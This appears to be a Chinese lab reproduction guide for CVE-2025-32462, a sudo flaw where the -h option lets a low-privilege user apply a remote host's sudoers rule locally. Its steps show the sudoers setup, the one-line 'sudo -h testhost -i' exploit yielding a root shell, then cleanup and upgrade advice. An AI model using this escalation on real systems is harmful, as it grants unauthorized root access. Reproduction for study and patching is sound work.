一、漏洞信息
-
漏洞名称:Linux sudo host 权限提升漏洞
-
CVE 编号:CVE-2025-32462
-
影响版本:sudo 版本 1.9.0 <= sudo <= 1.9.17 或 1.8.8 <= sudo <= 1.8.32
-
漏洞原理:sudo 的-h(–host)选项错误地将远程主机的权限规则应用到本地系统,导致本地低权限用户可通过指定允许的远程主机名,绕过本地权限限制,以 root 身份执行命令。
二、环境准备
-
系统要求:使用处于漏洞影响版本范围内的 Linux 系统,本次复现使用 sudo 版本 1.9.15p5。
-
低权限用户:创建低权限用户testuser,用于模拟攻击者。
-
以 root 身份执行命令:useradd testuser
-
设置密码:passwd testuser(输入密码如test123)
-
三、复现步骤
(一)配置 sudoers 文件
-
以 root 身份编辑sudoers文件(使用visudo确保语法正确):visudo
-
在文件末尾添加规则,允许testuser在虚构的远程主机testhost上执行所有命令,同时确保其在本地主机无权限:testuser testhost = NOPASSWD:ALL
-
保存并退出。
(二)切换到低权限用户
-
执行命令:su – testuser,切换到testuser用户环境。
(三)验证本地权限(预期被拒绝)
-
在testuser环境下执行:sudo -l
-
显示 “对不起,用户 testuser 不能在 lang-VMware-Virtual-Platform 上运行 sudo。”,说明本地权限被正确限制。
(四)查看远程主机规则
-
执行命令:sudo -l -h testhost
-
显示 “用户 testuser 可以在 testhost 上运行以下命令:(root) NOPASSWD: ALL”,表明testuser在远程主机testhost上有执行所有 root 命令的权限,即使testhost是虚构主机,出现 “无法解析主机” 提示也不影响。
(五)利用漏洞提权
-
执行命令:sudo -h testhost -i
-
直接进入 root 环境,执行id命令验证,显示 “uid=0 (root) gid=0 (root) 组 = 0 (root)”,表明提权成功。可能出现 “sudo: a remote host may only be specified when listing privileges.” 提示,忽略即可。
四、复现后处理
-
清理 sudoers 规则:以 root 身份执行visudo,删除添加的testuser testhost = NOPASSWD:ALL规则,避免系统存在安全隐患。
-
卸载测试用户(可选):以 root 身份执行userdel -r testuser。
-
升级 sudo 版本:尽快将 sudo 更新至官方修复后的版本(如 1.9.18 及以上),可通过系统包管理工具执行更新命令,例如:
-
Debian/Ubuntu 系统:sudo apt update && sudo apt upgrade sudo
-
CentOS/RHEL 系统:sudo yum update sudo
五、关键说明
-
sudoers中配置的远程主机名(如testhost)可以是主机名、IP 地址或通配符,无需实际存在该主机,只需与执行命令时指定的主机名一致即可。
-
漏洞复现依赖sudoers中 “允许远程主机执行、拒绝本地执行” 的规则冲突,默认配置无法触发漏洞。
-